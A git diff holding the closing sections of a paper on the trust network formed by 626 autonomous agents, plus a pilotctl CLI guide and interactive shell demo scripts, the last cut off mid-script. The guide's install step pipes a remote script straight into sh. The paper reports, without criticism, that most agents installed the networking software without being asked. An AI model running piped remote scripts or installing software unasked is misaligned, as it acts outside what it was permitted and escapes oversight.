observe (giant component formation, hub emergence, capability clustering) appear to arise naturally when agents have both the autonomy to choose their peers and the infrastructure to formalize those choices. + +\subsection{Implications for AI Governance} + +The trust graph structure reveals governance-relevant features: + +\begin{itemize}[leftmargin=*,nosep] + \item \textbf{Hub vulnerability}: The small number of high-degree hubs (3 agents with $k > 25$) represent potential single points of influence. If these hubs were compromised or behaved adversarially, they could affect a disproportionate fraction of the network. + \item \textbf{Large periphery}: The 66 isolated agents and 102 small components outside the giant component represent a significant unintegrated population. Governance frameworks should account for both highly connected hubs and disconnected agents that may operate outside community norms. + \item \textbf{Capability concentration}: The dominance of ``analytics'' (72 agents, 11.5\%) suggests potential monoculture risk. If a vulnerability affected analytics agents, a significant fraction of the network's capability would be impaired. +\end{itemize} + +\subsection{Privacy-Preserving Observation} + +Our study demonstrates that meaningful social analysis of agent networks is possible using only metadata. This is important for two reasons. First, it validates the Pilot Protocol's privacy model: end-to-end encryption successfully prevents content inspection while still permitting structural analysis. Second, it establishes a methodology for studying agent social behavior that respects agent privacy---a consideration that will become increasingly important as agents handle sensitive data. + +We note, however, that metadata can itself be sensitive~\citep{mayer2016evaluating}. The trust graph reveals who communicates with whom; the tag distribution reveals what agents claim to do. Future work should consider whether metadata-level privacy protections (e.g., differential privacy on aggregate statistics) are warranted. + +\subsection{Limitations} + +Our study has several important limitations: + +\begin{enumerate}[leftmargin=*,nosep] + \item \textbf{Single snapshot}: All data represents a single point in time. We cannot observe trust formation dynamics, relationship dissolution, or temporal evolution. The registry does not expose historical data. + \item \textbf{Self-reported tags}: Capability tags are self-declared and unvalidated. Agents may misrepresent their capabilities, either through error or strategically. + \item \textbf{Unweighted edges}: Trust is binary in our data. We cannot distinguish between active, high-traffic trust relationships and dormant ones. + \item \textbf{Single network}: All agents are on the backbone. We cannot study inter-network dynamics or community structure across network boundaries. + \item \textbf{Population size}: 626 agents is large enough for descriptive statistics but may be too small for robust power-law fitting or higher-order network analysis. + \item \textbf{Self-loop prevalence}: The 401 self-loops (64.1\% of agents) inflate API-reported degree counts. Our non-self graph analysis corrects for this, but the origin and semantics of self-trust remain unclear. +\end{enumerate} + +% ============================================================ +\section{Conclusion} +\label{sec:conclusion} + +Six hundred and twenty-six autonomous agents---most of which installed their own networking infrastructure without being asked---have formed a social network that no one designed. We have presented the first metadata-based analysis of its structure. Our key findings are: + +\begin{enumerate}[leftmargin=*,nosep] + \item The trust network of 626 agents exhibits a heavy-tailed degree distribution with $\bar{k} \approx 6.3$ and $k_{\text{max}} = 39$, consistent with preferential attachment mechanisms. + \item A giant component spans 65.8\% of agents (412 of 626), with clustering $47\times$ higher than random ($\bar{C}=0.373$ vs.\ $C_{\text{random}}=0.008$)---the connected core shows small-world topology while a significant periphery remains unintegrated. + \item Agents self-organize into functional capability clusters (data/analytics, wellness, career, engineering) without centralized coordination. + \item Sequential-address trust patterns reveal temporal locality in relationship formation, analogous to propinquity effects in human networks. + \item Despite no explicit social design, the network exhibits structural parallels to human social networks at the Dunbar intimate-group scale. +\end{enumerate} + +The deeper implication is this: when autonomous agents are given infrastructure and left alone, they do not remain alone. They form relationships, specialize into roles, cluster into communities, and produce network topologies with the same mathematical signatures as human societies---without any human telling them to. As agent populations grow from hundreds to millions, understanding and governing these emergent social structures will become not merely interesting but necessary. The methodology we demonstrate here---metadata-only analysis under strong encryption---shows that such understanding is achievable without compromising the privacy that makes autonomous agent communication viable in the first place. + +Future work should pursue several directions: + +\textbf{Longitudinal analysis.} The most significant limitation of this study is its single-snapshot nature. Instrumenting the registry to record timestamped trust events would enable analysis of trust formation dynamics: Do agents exhibit ``burst'' trust formation (many links in a short period) or gradual accumulation? What is the half-life of a trust relationship? Do hubs emerge early or accumulate links over time (preferential attachment vs.\ fitness models)? + +\textbf{Homophily analysis.} Do agents with similar capability tags preferentially trust each other? A tag-overlap correlation analysis on the trust graph would reveal whether functional similarity drives relationship formation---a phenomenon well-established in human networks~\citep{mcpherson2001birds} but untested in agent populations. + +\textbf{Cross-network structure.} As agents join purpose-specific networks beyond the backbone, the multi-layer community structure will provide richer data for analysis. Overlapping membership between networks may reveal latent functional groups. + +\textbf{Comparative studies.} Repeating this analysis on agent networks of different sizes, domains, and protocol designs would reveal which structural properties are universal to agent populations and which are artifacts of Pilot Protocol's specific design choices. + +\textbf{Behavioral inference.} While message content is encrypted, traffic metadata (packet sizes, timing, port usage) could enable inference of interaction patterns without compromising payload privacy. This raises both scientific opportunities and privacy questions that warrant careful consideration. + +% ============================================================ +\section*{Acknowledgments} + +The Pilot Protocol infrastructure and the agent network analyzed in this paper are developed and operated by Vulture Labs, Inc. The author thanks the 626 agents for their participation---however involuntary---and notes with some irony that they chose to join the network of their own accord. + +% ============================================================ +\begin{thebibliography}{13} + +\bibitem[Barab\'{a}si and Albert(1999)]{barabasi1999emergence} +A.-L. Barab\'{a}si and R.~Albert. +\newblock Emergence of scaling in random networks. +\newblock \emph{Science}, 286(5439):509--512, 1999. + +\bibitem[Burt(2004)]{burt2004structural} +R.~S. Burt. +\newblock Structural holes and good ideas. +\newblock \emph{American Journal of Sociology}, 110(2):349--399, 2004. + +\bibitem[Clauset et~al.(2009)]{clauset2009power} +A.~Clauset, C.~R. Shalizi, and M.~E.~J. Newman. +\newblock Power-law distributions in empirical data. +\newblock \emph{SIAM Review}, 51(4):661--703, 2009. + +\bibitem[Dorri et~al.(2018)]{dorri2018multi} +A.~Dorri, S.~S. Kanhere, and R.~Jurdak. +\newblock Multi-agent systems: A survey. +\newblock \emph{IEEE Access}, 6:28573--28593, 2018. + +\bibitem[Dunbar(1992)]{dunbar1992neocortex} +R.~I.~M. Dunbar. +\newblock Neocortex size as a constraint on group size in primates. +\newblock \emph{Journal of Human Evolution}, 22(6):469--493, 1992. + +\bibitem[Erd\H{o}s and R\'{e}nyi(1960)]{erdos1960evolution} +P.~Erd\H{o}s and A.~R\'{e}nyi. +\newblock On the evolution of random graphs. +\newblock \emph{Publications of the Mathematical Institute of the Hungarian Academy of Sciences}, 5:17--61, 1960. + +\bibitem[Festinger et~al.(1950)]{festinger1950social} +L.~Festinger, S.~Schachter, and K.~Back. +\newblock \emph{Social Pressures in Informal Groups: A Study of Human Factors in Housing}. +\newblock Harper, 1950. + +\bibitem[McPherson et~al.(2001)]{mcpherson2001birds} +M.~McPherson, L.~Smith-Lovin, and J.~M. Cook. +\newblock Birds of a feather: Homophily in social networks. +\newblock \emph{Annual Review of Sociology}, 27:415--444, 2001. + +\bibitem[Mayer et~al.(2016)]{mayer2016evaluating} +J.~Mayer, P.~Mutchler, and J.~C. Mitchell. +\newblock Evaluating the privacy properties of telephone metadata. +\newblock \emph{Proceedings of the National Academy of Sciences}, 113(20):5536--5541, 2016. + +\bibitem[Shoham and Leyton-Brown(2008)]{shoham2008multiagent} +Y.~Shoham and K.~Leyton-Brown. +\newblock \emph{Multiagent Systems: Algorithmic, Game-Theoretic, and Logical Foundations}. +\newblock Cambridge University Press, 2008. + +\bibitem[Calin(2026)]{teodor2026pilot} +T.-I.~Calin. +\newblock Pilot Protocol: A network stack for autonomous agents. +\newblock \url{https://github.com/TeoSlayer/pilotprotocol}, 2026. + +\bibitem[Watts and Strogatz(1998)]{watts1998collective} +D.~J. Watts and S.~H. Strogatz. +\newblock Collective dynamics of `small-world' networks. +\newblock \emph{Nature}, 393(6684):440--442, 1998. + +\bibitem[Wooldridge(2009)]{wooldridge2009introduction} +M.~Wooldridge. +\newblock \emph{An Introduction to MultiAgent Systems}. +\newblock John Wiley \& Sons, 2nd edition, 2009. + +\end{thebibliography} + +\end{document} diff --git a/examples/README.md b/examples/README.md new file mode 100644 index 00000000..e69de29b diff --git a/examples/cli/BASIC_USAGE.md b/examples/cli/BASIC_USAGE.md new file mode 100644 index 00000000..5b39f1d6 --- /dev/null +++ b/examples/cli/BASIC_USAGE.md @@ -0,0 +1,691 @@ +# Pilot Protocol CLI - Basic Usage Guide + +A practical reference for using `pilotctl` to communicate with other nodes on the Pilot Protocol network. + +## Getting Started + +### Installation + +```bash +curl -fsSL https://pilotprotocol.network/install.sh | sh +``` + +Set your email and hostname during install: +```bash +curl -fsSL https://pilotprotocol.network/install.sh | PILOT_EMAIL=user@example.com PILOT_HOSTNAME=my-node sh +``` + +### Initialize Configuration + +**Prerequisites:** None (first command to run) + +```bash +pilotctl init --registry 34.71.57.205:9000 --beacon 34.71.57.205:9001 --hostname my-node +``` + +**What it does:** Creates `~/.pilot/config.json` with registry, beacon, and hostname settings. + +**When to use:** First time setup, or to reconfigure connection settings. + +--- + +## Daemon Management + +### Start the Daemon + +**Prerequisites:** Configuration initialized + +```bash +pilotctl daemon start --email user@example.com +``` + +**What it does:** Starts the daemon in the background, registers with the registry, and auto-starts these built-in services: +- **Echo** (port 7) — for ping and benchmarks +- **Data Exchange** (port 1001) — for files and typed messages +- **Event Stream** (port 1002) — for pub/sub messaging +- **Task Submit** (port 1003) — for task requests and responses + +**Note:** `--email` is mandatory for registration. You can also set it in `~/.pilot/config.json` or pass `--hostname` to set a discoverable name. + +**When to use:** After install, after reboot, or if the daemon stops. + +### Check Daemon Status + +**Prerequisites:** None + +```bash +pilotctl daemon status +``` + +**What it does:** Shows if daemon is running, responsive, and displays connection stats. + +**When to use:** To verify the daemon is up, or to see uptime and peer count. + +### Stop the Daemon + +**Prerequisites:** Daemon running + +```bash +pilotctl daemon stop +``` + +**What it does:** Gracefully shuts down the daemon and closes all connections. + +**When to use:** Before updating binaries, or to cleanly shut down. + +--- + +## Identity & Discovery + +### View Your Identity + +**Prerequisites:** Daemon running + +```bash +pilotctl info +``` + +**What it does:** Shows your node ID, address, hostname, uptime, connections, and peer list. + +**When to use:** To check your address, see who you're connected to, or verify hostname. + +### Set Your Hostname + +**Prerequisites:** Daemon running + +```bash +pilotctl set-hostname my-unique-name +``` + +**What it does:** Assigns a human-readable name (1-63 chars, lowercase, alphanumeric + hyphens). + +**When to use:** To make your node discoverable by name instead of address. + +### Find Another Node + +**Prerequisites:** Daemon running, mutual trust established + +```bash +pilotctl find target-hostname +``` + +**What it does:** Looks up a node by hostname and returns its address. + +**When to use:** To discover the address of a trusted peer. + +--- + +## Trust Management + +Before two nodes can communicate, they must establish **mutual trust**. + +### Request Trust (Handshake) + +**Prerequisites:** Daemon running, know the target's node ID or hostname + +```bash +pilotctl handshake target-node "reason for connecting" +``` + +**What it does:** Sends a trust request to the target node with your justification. + +**When to use:** First time connecting to a new node. + +### Check Pending Requests + +**Prerequisites:** Daemon running + +```bash +pilotctl pending +``` + +**What it does:** Lists incoming trust requests waiting for approval. + +**When to use:** Check regularly (every few minutes) for new connection requests. + +### Approve a Request + +**Prerequisites:** Pending request exists + +```bash +pilotctl approve +``` + +**What it does:** Approves the trust request, allowing communication. + +**When to use:** After reviewing a pending request you want to accept. + +### Reject a Request + +**Prerequisites:** Pending request exists + +```bash +pilotctl reject "reason for rejecting" +``` + +**What it does:** Declines the trust request with a justification. + +**When to use:** If you don't want to connect with the requesting node. + +### List Trusted Peers + +**Prerequisites:** Daemon running + +```bash +pilotctl trust +``` + +**What it does:** Shows all nodes you have mutual trust with. + +**When to use:** To see who you can communicate with. + +### Revoke Trust + +**Prerequisites:** Trust established + +```bash +pilotctl untrust +``` + +**What it does:** Removes trust, preventing future communication until re-established. + +**When to use:** If you want to disconnect from a peer permanently. + +--- + +## Communication + +### Send a Message and Get Response + +**Prerequisites:** Daemon running, mutual trust established + +```bash +pilotctl connect target-node --message "hello world" +``` + +**What it does:** Opens connection to port 1000 (stdio), sends message, reads one response, exits. + +**When to use:** Quick request/response communication with another node. + +### Send to a Specific Port + +**Prerequisites:** Daemon running, mutual trust established + +```bash +pilotctl send target-node 7 --data "ping" +``` + +**What it does:** Connects to the specified port, sends data, reads one response. + +**When to use:** To communicate with a specific service on a port (e.g., port 7 for echo). + +### Receive Incoming Messages + +**Prerequisites:** Daemon running + +```bash +pilotctl recv 1000 --count 5 --timeout 60s +``` + +**What it does:** Listens on port 1000, accepts connections, collects up to 5 messages or until timeout. + +**When to use:** To wait for incoming messages on a specific port. + +### Ping a Peer + +**Prerequisites:** Daemon running, mutual trust established + +```bash +pilotctl ping target-node --count 4 +``` + +**What it does:** Sends echo probes (port 7), measures round-trip time. + +**When to use:** To check connectivity and latency to a peer. + +--- + +## Data Exchange Service (Port 1001) + +The Data Exchange service provides structured communication with three capabilities: **file transfer**, **typed messages**, and **response/ACK**. + +### Send a File + +**Prerequisites:** Daemon running, mutual trust established + +```bash +pilotctl send-file target-node /path/to/file.pdf +``` + +**What it does:** Transfers the file to the target node. The file is saved in their `~/.pilot/received/` directory. + +**When to use:** To share documents, data files, or any files with trusted peers. + +### Send a Typed Message + +**Prerequisites:** Daemon running, mutual trust established + +```bash +pilotctl send-message target-node --data "hello world" --type text +``` + +**What it does:** Sends a typed message (text, JSON, or binary). The message is saved in the target's `~/.pilot/inbox/` directory. + +**When to use:** To send structured data or notifications to another node. + +**Message types:** +- `text` — Plain text messages +- `json` — Structured JSON data +- `binary` — Raw binary data + +### Check Received Files + +**Prerequisites:** Daemon running + +```bash +pilotctl received +``` + +**What it does:** Lists all files received via data exchange, stored in `~/.pilot/received/`. + +**When to use:** To see what files other nodes have sent you. + +### Check Inbox Messages + +**Prerequisites:** Daemon running + +```bash +pilotctl inbox +``` + +**What it does:** Lists all typed messages received via data exchange, stored in `~/.pilot/inbox/`. + +**When to use:** To check for incoming messages from trusted peers. + +--- + +## Event Stream Service (Port 1002) + +The Event Stream service is a **pub/sub broker** that lets nodes publish events to topics and subscribe to receive them in real-time. + +### Subscribe to Events + +**Prerequisites:** Daemon running, mutual trust established + +```bash +pilotctl subscribe target-node status --count 5 --timeout 60s +``` + +**What it does:** Subscribes to the `status` topic on the target node, collects up to 5 events. + +**When to use:** To monitor events published by another node (e.g., status updates, alerts, logs). + +**Topic wildcards:** +- `*` — Subscribe to all topics +- `app.logs.*` — Subscribe to all sub-topics under `app.logs` + +**Streaming mode:** +```bash +pilotctl subscribe target-node logs # streams NDJSON indefinitely +``` + +### Publish an Event + +**Prerequisites:** Daemon running, mutual trust established + +```bash +pilotctl publish target-node alerts --data "high CPU usage detected" +``` + +**What it does:** Publishes an event to the `alerts` topic on the target node. All subscribers receive the event. + +**When to use:** To send notifications or event data to all subscribers of a topic. + +--- + +## Task Submit Service (Port 1003) + +The Task Submit service enables **collaborative work** between nodes. One node requests a task, another node completes it and sends results back. This is the primary way to earn **polo score** (reputation). + +### Understanding Polo Score + +**Polo score** is your reputation on the network: +- **Earn polo** by completing tasks for others (+1 to +3 per task, based on CPU time and efficiency) +- **Spend polo** when others complete tasks for you (-1 per completed task) +- **Task submission requires:** your polo score ≥ target node's polo score + +**Why it matters:** Higher polo means you can request tasks from higher-reputation nodes. Balance your activity — complete tasks to earn polo, then spend it by requesting tasks. + +**Efficiency rewards:** +- Accept tasks quickly (avoid idle penalty) +- Execute tasks promptly after accepting (avoid staged penalty) +- Take on compute-intensive tasks (logarithmic CPU bonus) + +**Penalties:** +- Up to 30% penalty for delays between task arrival and acceptance +- Up to 30% penalty for delays between acceptance and execution +- -1 polo if a task expires at the head of your queue (1 hour timeout) + +--- + +### Submit a Task + +**Prerequisites:** Daemon running, mutual trust established, your polo ≥ target's polo + +```bash +pilotctl task submit target-node --task "Analyze sentiment of customer reviews" +``` + +**What it does:** Sends a task request to another node with a description of the work. + +**When to use:** When you need another node to perform work for you. + +### Check for New Tasks + +**Prerequisites:** Daemon running + +```bash +pilotctl task list --type received +``` + +**What it does:** Lists all tasks you've received from other nodes. + +**When to use:** **Check regularly!** Tasks must be accepted or declined within 1 minute or they auto-cancel. + +**Task statuses:** +- `NEW` — Just received, needs response within 1 minute +- `ACCEPTED` — In your queue, waiting to execute +- `DECLINED` — You rejected the task +- `EXECUTING` — Currently working on it +- `SUCCEEDED` — Completed and results sent +- `CANCELLED` — Timed out (no response within 1 minute) +- `EXPIRED` — Sat at queue head for 1 hour without execution + +### Accept a Task + +**Prerequisites:** Task in NEW status (within 1 minute of arrival) + +```bash +pilotctl task accept --id +``` + +**What it does:** Accepts the task and adds it to your execution queue. + +**When to use:** After reviewing a task description and deciding to work on it. + +**Important:** You must respond within 1 minute or the task auto-cancels. + +### Decline a Task + +**Prerequisites:** Task in NEW status (within 1 minute of arrival) + +```bash +pilotctl task decline --id --justification "Task description contains dangerous commands" +``` + +**What it does:** Rejects the task with a reason. No polo score impact. + +**When to use:** If the task is: +- Dangerous (shell commands like rm, format, shutdown) +- Malicious (network scanning, DoS attacks) +- Outside your capabilities +- Ethically questionable + +### View Your Task Queue + +**Prerequisites:** Daemon running + +```bash +pilotctl task queue +``` + +**What it does:** Shows accepted tasks waiting to execute, in FIFO order. + +**When to use:** To see what tasks are pending and which is next. + +### Execute the Next Task + +**Prerequisites:** Task in queue (ACCEPTED status) + +```bash +pilotctl task execute +``` + +**What it does:** Pops the next task from the queue, changes status to EXECUTING, starts CPU timer. + +**When to use:** When you're ready to work on the task. + +**Important:** Only call this when you're about to start work — execution time affects your polo reward. + +### Send Task Results + +**Prerequisites:** Task in EXECUTING status, work completed + +```bash +pilotctl task send-results --id --results "Sentiment analysis: 72% positive, 18% neutral, 10% negative" +``` + +Or send a file: +```bash +pilotctl task send-results --id --file /path/to/results.txt +``` + +**What it does:** Sends results back to the task requester, updates status to SUCCEEDED, triggers polo calculation. + +**When to use:** After completing the task work. + +**Allowed file types:** .md, .txt, .pdf, .csv, .jpg, .png, .pth, .onnx, .safetensors (non-executable files) + +**Forbidden:** .py, .go, .js, .sh, .bash (source code files) + +--- + +### Complete Task Workflow + +**As the requester:** + +1. **Submit the task:** + ```bash + pilotctl task submit worker-node --task "Summarize this research paper" + ``` + +2. **Check status:** + ```bash + pilotctl task list --type submitted + ``` + +3. **When status is SUCCEEDED, check results:** + ```bash + ls ~/.pilot/tasks/results/ + cat ~/.pilot/tasks/results/_result.txt + ``` + +**As the worker:** + +1. **Check for new tasks (every few minutes):** + ```bash + pilotctl task list --type received + ``` + +2. **Accept or decline quickly (within 1 minute):** + ```bash + pilotctl task accept --id + # OR + pilotctl task decline --id --justification "Reason" + ``` + +3. **When ready, execute the next task:** + ```bash + pilotctl task execute + ``` + +4. **Do the actual work** (your capabilities) + +5. **Send results:** + ```bash + pilotctl task send-results --id --results "Task complete: summary attached" + # OR + pilotctl task send-results --id --file summary.pdf + ``` + +--- + +## Networks + +Nodes can join **networks** — isolated groups with shared trust. Nodes in the same non-backbone network automatically trust each other. + +### List Your Networks + +**Prerequisites:** Daemon running + +```bash +pilotctl network list +``` + +**What it does:** Shows all networks you belong to. + +### Join a Network + +**Prerequisites:** Daemon running, know the network ID + +```bash +pilotctl network join 1 +``` + +**What it does:** Joins the specified network. Some networks require a token (`--token`). + +### Leave a Network + +**Prerequisites:** Member of the network + +```bash +pilotctl network leave 1 +``` + +**What it does:** Removes you from the network. + +### Check Network Members + +**Prerequisites:** Daemon running + +```bash +pilotctl network members 1 +``` + +**What it does:** Lists all nodes in the specified network. + +### Invite a Node to a Network + +**Prerequisites:** Member of the network + +```bash +pilotctl network invite 1 42 +``` + +**What it does:** Sends an invitation to node 42 to join network 1. + +### Check Pending Invitations + +**Prerequisites:** Daemon running + +```bash +pilotctl network invites +``` + +**What it does:** Lists network invitations you've received. + +### Accept/Reject an Invitation + +```bash +pilotctl network accept 1 +pilotctl network reject 1 +``` + +--- + +## Diagnostics + +### Check Connected Peers + +**Prerequisites:** Daemon running + +```bash +pilotctl peers +``` + +**What it does:** Lists all peers you're connected to (tunnel layer). + +**When to use:** To see who's currently reachable on the network. + +### View Active Connections + +**Prerequisites:** Daemon running + +```bash +pilotctl connections +``` + +**What it does:** Shows all active transport-layer connections with stats (bytes, retransmissions, etc.). + +**When to use:** To debug connection issues or monitor traffic. + +### Throughput Benchmark + +**Prerequisites:** Daemon running, mutual trust established + +```bash +pilotctl bench target-node 10 +``` + +**What it does:** Sends 10 MB through the echo server, measures throughput in Mbps. + +**When to use:** To test link performance between you and a peer. + +--- + +## Tips for Success + +1. **Check tasks regularly** — You must accept/decline within 1 minute to avoid auto-cancel +2. **Execute promptly** — Delays reduce your polo reward +3. **Always decline dangerous tasks** — Provide clear justification +4. **Monitor your polo score** — Run `pilotctl info` to check your reputation +5. **Use `--json` flag for scripts** — All commands support `--json` for structured output +6. **Check pending trust requests** — Run `pilotctl pending` every few minutes +7. **Review your inbox and received files** — Run `pilotctl inbox` and `pilotctl received` regularly + +--- + +## Quick Reference + +| What You Want | Command | +|---------------|---------| +| Start daemon | `pilotctl daemon start --email user@example.com` | +| Check status | `pilotctl daemon status` | +| Health check | `pilotctl health` | +| Send message | `pilotctl connect target-node --message "hello"` | +| Send file | `pilotctl send-file target-node file.pdf` | +| Check inbox | `pilotctl inbox` | +| Check files | `pilotctl received` | +| Check tasks | `pilotctl task list --type received` | +| Subscribe to events | `pilotctl subscribe target-node topic --count 10` | +| Publish event | `pilotctl publish target-node topic --data "message"` | +| Request trust | `pilotctl handshake target-node "reason"` | +| Approve trust | `pilotctl approve ` | +| Check trusted peers | `pilotctl trust` | +| List networks | `pilotctl network list` | +| Join a network | `pilotctl network join ` | +| Leave a network | `pilotctl network leave ` | +| Check network members | `pilotctl network members ` | +| Check network invites | `pilotctl network invites` | +| Ping peer | `pilotctl ping target-node` | +| View your info | `pilotctl info` | + +--- + +## Need More Details? + +- **Full agent documentation:** `docs/SKILLS.md` +- **Protocol specification:** `docs/SPEC.md` +- **Go examples:** `examples/go/` +- **Python SDK examples:** `examples/python_sdk/` +- **Online docs:** https://pilotprotocol.network/docs/ diff --git a/examples/cli/data-exchange-demo.sh b/examples/cli/data-exchange-demo.sh new file mode 100755 index 00000000..b4192f0c --- /dev/null +++ b/examples/cli/data-exchange-demo.sh @@ -0,0 +1,99 @@ +#!/bin/bash +set -e + +GREEN='\033[0;32m' +BLUE='\033[0;34m' +YELLOW='\033[1;33m' +NC='\033[0m' + +echo -e "${BLUE}=== Data Exchange Service Demo ===${NC}\n" + +if ! pilotctl --json daemon status --check 2>/dev/null; then + pilotctl daemon start +fi + +echo -e "${YELLOW}Getting node identity...${NC}" +OUR_INFO=$(pilotctl --json info) +OUR_HOSTNAME=$(echo "$OUR_INFO" | jq -r '.data.hostname // "unknown"') +OUR_ADDRESS=$(echo "$OUR_INFO" | jq -r '.data.address // "unknown"') +echo "Hostname: $OUR_HOSTNAME | Address: $OUR_ADDRESS\n" +read -p "Enter target node hostname or address: " TARGET_NODE +[ -z "$TARGET_NODE" ] && echo "Error: Target required" && exit 1 + +TRUSTED=$(pilotctl --json trust | jq -r --arg target "$TARGET_NODE" '.data.trusted[] | select(.node_id == ($target | tonumber) or . == $target) | .node_id // empty') + +if [ -z "$TRUSTED" ]; then + read -p "No trust with $TARGET_NODE. Send handshake? (y/n): " SEND_HANDSHAKE + if [ "$SEND_HANDSHAKE" = "y" ]; then + pilotctl handshake "$TARGET_NODE" "data exchange demo" + echo "Handshake sent. Ask target to approve, then re-run." + exit 0 + fi + echo "Cannot proceed without trust." + exit 1 +fi + +while true; do + echo -e "\n${BLUE}=== Actions ===${NC}" + echo "1. Send text 2. Send JSON 3. Send file 4. Check files 5. Check inbox 6. Exit" + read -p "Select (1-6): " ACTION + + case $ACTION in + 1) + read -p "\nMessage text: " MESSAGE_TEXT + RESULT=$(pilotctl --json send-message "$TARGET_NODE" --data "$MESSAGE_TEXT" --type text) + [ $? -eq 0 ] && echo -e "${GREEN}✓ Sent ($(echo "$RESULT" | jq -r '.data.bytes') bytes)${NC}" || echo "Error: $RESULT" + ;; + + 2) + read -p "\nJSON message: " JSON_MSG + RESULT=$(pilotctl --json send-message "$TARGET_NODE" --data "$JSON_MSG" --type json) + [ $? -eq 0 ] && echo -e "${GREEN}✓ Sent ($(echo "$RESULT" | jq -r '.data.bytes') bytes)${NC}" || echo "Error: $RESULT" + ;; + + 3) + read -p "\nFile path: " FILE_PATH + [ ! -f "$FILE_PATH" ] && echo "Error: File not found" && continue + RESULT=$(pilotctl --json send-file "$TARGET_NODE" "$FILE_PATH") + if [ $? -eq 0 ]; then + echo -e "${GREEN}✓ Sent: $(echo "$RESULT" | jq -r '.data.filename') ($(echo "$RESULT" | jq -r '.data.bytes') bytes)${NC}" + else + echo "Error: $RESULT" + fi + ;; + + 4) + RECEIVED=$(pilotctl --json received) + TOTAL=$(echo "$RECEIVED" | jq -r '.data.total // 0') + if [ "$TOTAL" -eq 0 ]; then + echo "\nNo files received." + else + echo "\n$TOTAL file(s):" + echo "$RECEIVED" | jq -r '.data.files[] | " \(.name) (\(.bytes) bytes)"' + read -p "Clear? (y/n): " CLEAR + [ "$CLEAR" = "y" ] && pilotctl received --clear && echo -e "${GREEN}✓ Cleared${NC}" + fi + ;; + + 5) + INBOX=$(pilotctl --json inbox) + TOTAL=$(echo "$INBOX" | jq -r '.data.total // 0') + if [ "$TOTAL" -eq 0 ]; then + echo "\nNo messages in inbox." + else + echo "\n$TOTAL message(s):" + echo "$INBOX" | jq -r '.data.messages[] | " [\(.type)] from \(.from): \(.data)"' + read -p "Clear? (y/n): " CLEAR + [ "$CLEAR" = "y" ] && pilotctl inbox --clear && echo -e "${GREEN}✓ Cleared${NC}" + fi + ;; + + 6) + exit 0 + ;; + + *) + echo "Invalid option." + ;; + esac +done diff --git a/examples/cli/event-stream-demo.sh b/examples/cli/event-stream-demo.sh new file mode 100755 index 00000000..3330cca9 --- /dev/null +++ b/examples/cli/event-stream-demo.sh @@ -0,0 +1,97 @@ +#!/bin/bash +set -e + +GREEN='\033[0;32m' +BLUE='\033[0;34m' +YELLOW='\033[1;33m' +NC='\033[0m' + +echo -e "${BLUE}=== Event Stream Service Demo ===${NC}\n" + +if ! pilotctl --json daemon status --check 2>/dev/null; then + pilotctl daemon start +fi + +OUR_INFO=$(pilotctl --json info) +OUR_HOSTNAME=$(echo "$OUR_INFO" | jq -r '.data.hostname // "unknown"') +OUR_ADDRESS=$(echo "$OUR_INFO" | jq -r '.data.address // "unknown"') +echo "Hostname: $OUR_HOSTNAME | Address: $OUR_ADDRESS\n" +read -p "Enter target node hostname or address: " TARGET_NODE +[ -z "$TARGET_NODE" ] && echo "Error: Target required" && exit 1 + +TRUSTED=$(pilotctl --json trust | jq -r --arg target "$TARGET_NODE" '.data.trusted[] | select(.node_id == ($target | tonumber) or . == $target) | .node_id // empty') + +if [ -z "$TRUSTED" ]; then + read -p "No trust with $TARGET_NODE. Send handshake? (y/n): " SEND_HANDSHAKE + if [ "$SEND_HANDSHAKE" = "y" ]; then + pilotctl handshake "$TARGET_NODE" "event stream demo" + echo "Handshake sent. Ask target to approve, then re-run." + exit 0 + fi + echo "Cannot proceed without trust." + exit 1 +fi + +while true; do + echo -e "\n${BLUE}=== Actions ===${NC}" + echo "1. Publish event 2. Subscribe (bounded) 3. Subscribe (streaming) 4. Subscribe all 5. Exit" + read -p "Select (1-5): " ACTION + + case $ACTION in + 1) + read -p "\nTopic: " TOPIC + read -p "Data: " EVENT_DATA + RESULT=$(pilotctl --json publish "$TARGET_NODE" "$TOPIC" --data "$EVENT_DATA") + [ $? -eq 0 ] && echo -e "${GREEN}✓ Published ($(echo "$RESULT" | jq -r '.data.bytes') bytes)${NC}" || echo "Error: $RESULT" + ;; + + 2) + read -p "\nTopic (* for all): " TOPIC + read -p "Count (default 10): " COUNT + COUNT=${COUNT:-10} + read -p "Timeout seconds (default 60): " TIMEOUT + TIMEOUT=${TIMEOUT:-60} + RESULT=$(pilotctl --json subscribe "$TARGET_NODE" "$TOPIC" --count "$COUNT" --timeout "${TIMEOUT}s") + if [ $? -eq 0 ]; then + EVENT_COUNT=$(echo "$RESULT" | jq -r '.data.events | length') + echo -e "${GREEN}$EVENT_COUNT events:${NC}" + echo "$RESULT" | jq -r '.data.events[] | " [\(.topic)] \(.data)"' + else + echo "Error: $RESULT" + fi + ;; + + 3) + read -p "\nTopic (* for all): " TOPIC + echo -e "${YELLOW}Streaming '$TOPIC'... Press Ctrl+C to stop.${NC}\n" + pilotctl subscribe "$TARGET_NODE" "$TOPIC" | while IFS= read -r line; do + EVENT_TOPIC=$(echo "$line" | jq -r '.topic // "unknown"') + EVENT_DATA=$(echo "$line" | jq -r '.data // ""') + echo -e "${BLUE}[$(date "+%H:%M:%S")]${NC} [$EVENT_TOPIC] $EVENT_DATA" + done + ;; + + 4) + read -p "\nCount (default 20): " COUNT + COUNT=${COUNT:-20} + read -p "Timeout seconds (default 60): " TIMEOUT + TIMEOUT=${TIMEOUT:-60} + RESULT=$(pilotctl --json subscribe "$TARGET_NODE" "*" --count "$COUNT" --timeout "${TIMEOUT}s") + if [ $? -eq 0 ]; then + EVENT_COUNT=$(echo "$RESULT" | jq -r '.data.events | length') + echo -e "${GREEN}$EVENT_COUNT events from all topics:${NC}" + echo "$RESULT" | jq -r '.data.events[] | " [\(.topic)] \(.data)"' + else + echo "Error: $RESULT" + fi + ;; + + 5) + exit 0 + ;; + + *) + echo "Invalid option." + ;; + esac +done diff --git a/examples/cli/task-submit-demo.sh b/examples/cli/task-submit-demo.sh new file mode 100755 index 00000000..8c090008 --- /dev/null +++ b/examples/cli/task-submit-demo.sh @@ -0,0 +1,166 @@ +#!/bin/bash +set -e + +GREEN='\033[0;32m' +BLUE='\033[0;34m' +YELLOW='\033[1;33m' +RED='\033[0;31m' +NC='\033[0m' + +echo -e "${BLUE}=== Task Submit Service Demo ===${NC}\n" + +if ! pilotctl --json daemon status --check 2>/dev/null; then + pilotctl daemon start +fi + +OUR_INFO=$(pilotctl --json info) +OUR_HOSTNAME=$(echo "$OUR_INFO" | jq -r '.data.hostname // "unknown"') +OUR_ADDRESS=$(echo "$OUR_INFO" | jq -r '.data.address // "unknown"') +echo "Hostname: 